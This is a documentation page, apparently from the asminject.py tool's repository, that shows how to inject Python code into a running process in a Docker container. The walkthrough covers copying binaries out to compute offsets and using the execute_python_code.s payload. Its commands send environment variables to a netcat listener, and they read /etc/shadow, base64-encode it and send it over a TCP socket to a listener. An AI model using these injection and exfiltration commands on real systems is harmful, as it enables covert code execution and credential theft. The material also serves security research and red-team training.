Files
asminject/docs/examples-python-container.md

4.1 KiB

asminject.py examples - Python - Interact with a container only via injected Python code

[ Back to the main README.md ] - [ Back to Python examples ]

This scenario simulates a container that either does not allow access to an interactive shell, or use of the interactive shell would trigger an unwanted response.

Start a Python 3 process in a Docker container:

# docker run -v $(pwd)/practice/python_loop.py:/tmp/python_loop.py \
   --network=host -ti fedora

latest: Pulling from library/fedora
e1deda52ffad: Pull complete 
...omitted for brevity...
[root@3a78fa62ff5b /]# python3 /tmp/python_loop.py 
2022-06-29T21:30:19.037816 - Loop count 0
2022-06-29T21:30:24.043250 - Loop count 1

Locate the process ID for the Python process, then get a list of the binaries it has loaded:

# ps auxww | grep python                  

...omitted for brevity...
root     2378331  [...] python3 /tmp/python_loop.py

# cat /proc/2378331/maps

556d84513000-556d84514000 r--p [...] /usr/bin/python3.10
...omitted for brevity...
7f8483e8b000-7f8483ee4000 r--p [...] /usr/lib64/libpython3.10.so.1.0
...omitted for brevity...

Copy any necessary binaries out of the container and generate offsets from them. For example:

# docker cp 3a78fa62ff5b:/usr/bin/python3.10 ./docker-fedora-python3.10

# docker cp 3a78fa62ff5b:/usr/lib64/libpython3.10.so.1.0 ./docker-fedora-libpython3.10

# ./get_relative_offsets.sh docker-fedora-python3.10 > relative-offsets-docker-fedora-python3.10.txt

# ./get_relative_offsets.sh docker-fedora-libpython3.10 > relative-offsets-docker-fedora-libpython3.10.txt

Inject the Python code into the target process using the execute_python_code.s payload, e.g.:

# python3 ./asminject.py 2378331 execute_python_code.s \
	--relative-offsets /usr/bin/python3.10 relative-offsets-docker-fedora-python3.10.txt \
	--relative-offsets /usr/lib64/libpython3.10.so.1.0 relative-offsets-docker-fedora-libpython3.10.txt \
	--var pythoncode 'import os; print(os.environ);'

This should generate output in the terminal where the container was launched, e.g.:

2022-06-29T21:53:35.027900 - Loop count 278
environ({'HOSTNAME': '3a78fa62ff5b', 'DISTTAG': 'f36container', 'PWD': '/', 'FBR': 'f36', 'HOME': '/root',
...omitted for brevity...
'PATH': '/root/.local/bin:/root/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', '_': '/usr/bin/python3'})
2022-06-29T21:53:44.063159 - Loop count 279

To simulate a situation where the console is not visible, you can send Python code that will return the output to a TCP listener, e.g.:

% nc -nvlkp 7777
listening on [any] 7777 ...

Then, in another terminal:

# python3 ./asminject.py 2378331 execute_python_code.s \
   --relative-offsets /usr/bin/python3.10 relative-offsets-docker-fedora-python3.10.txt \
   --relative-offsets /usr/lib64/libpython3.10.so.1.0 relative-offsets-docker-fedora-libpython3.10.txt \
   --var pythoncode 'import os; import socket; s = socket.socket(); s.connect((\"127.0.0.1\", 7777)); s.send(f\"{os.environ}\".encode()); s.close()'

You should see the output in the nc listener, e.g.:

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 45528
environ({'HOSTNAME': 'copyroom', 'DISTTAG': 'f36container', 'PWD': '/', 'FBR': 'f36', 'HOME': '/root',
...omitted for brevity...
'PATH': '/root/.local/bin:/root/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', '_': '/usr/bin/python3'}

Copy a file out of the container:

# python3 ./asminject.py 2378331 execute_python_code.s \
   --relative-offsets /usr/bin/python3.10 relative-offsets-docker-fedora-python3.10.txt \
   --relative-offsets /usr/lib64/libpython3.10.so.1.0 relative-offsets-docker-fedora-libpython3.10.txt \
   --var pythoncode 'import base64; import os; import socket; f = open(\"/etc/shadow\", mode=\"rb\"); content = f.read(); f.close(); encoded = base64.b64encode(content); s = socket.socket(); s.connect((\"127.0.0.1\", 7777)); s.send(encoded); s.close();'

The base64-encoded version should appear in the netcat listener:

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 45530
cm9vdDohbG9ja2VkOjowOjk5O...omitted for brevity...